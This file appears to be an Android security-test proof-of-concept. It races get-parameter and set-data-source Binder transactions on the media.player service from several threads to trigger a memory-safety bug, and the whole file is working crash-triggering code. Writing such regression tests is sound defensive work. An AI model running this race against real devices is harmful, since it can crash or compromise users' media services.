/*
 * Copyright (C) 2021 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <binder/IServiceManager.h>
#include <binder/Parcel.h>

#include "../includes/common.h"

using namespace android;

typedef struct ThreadParams {
  sp<IBinder> service;
} ThreadParams;

static void *thread_getParameter(void *p) {
  ThreadParams *params = (ThreadParams *)p;
  int err;
  time_t currentTime = start_timer();
  while (timer_active(currentTime)) {
    Parcel data, reply;
    data.writeInterfaceToken(params->service->getInterfaceDescriptor());
    int key = (('m') << 24 | ('t') << 16 | ('r') << 8 | ('X'));
    data.writeInt32(key);
    err = params->service->transact(/*GET_PARAMETER_ID*/ 31, data, &reply, 0);
    if (err == EPIPE) {
      break;
    }
    usleep(5000);
  }
  return nullptr;
}

int main() {
  status_t err;
  sp<IServiceManager> sm = defaultServiceManager();
  String16 name(String16("media.player"));
  sp<IBinder> service = sm->checkService(name);
  sp<IBinder> binder = nullptr;
  if (not service) {
    return EXIT_FAILURE;
  }

  String16 interface_name = service->getInterfaceDescriptor();
  Parcel data, reply;
  data.writeInterfaceToken(interface_name);
  data.writeStrongBinder(new BBinder());
  for (int i = 0; i < 1024; ++i)
    data.writeInt32(1);
  if (service) {
    err = service->transact(/*CREATE_ID*/ 1, data, &reply, 0);
    binder = reply.readStrongBinder();
  }

  if (not binder) {
    return EXIT_FAILURE;
  }

  pthread_t t1, t2;

  ThreadParams *params = new ThreadParams();
  params->service = binder;
  pthread_create(&t1, nullptr, thread_getParameter, params);
  pthread_create(&t2, nullptr, thread_getParameter, params);

  time_t currentTime = start_timer();
  while (timer_active(currentTime)) {
    if (not binder) {
      break;
    }
    Parcel data, reply;
    data.writeInterfaceToken(binder->getInterfaceDescriptor());
    data.writeStrongBinder(binder);
    err = binder->transact(/*SET_DATA_SOURCE_URL_ID*/ 2, data, &reply, 0);
    if (err == EPIPE) {
      break;
    }
    usleep(500000);
  }

  pthread_join(t1, nullptr);
  pthread_join(t2, nullptr);
  delete params;
  return EXIT_SUCCESS;
}
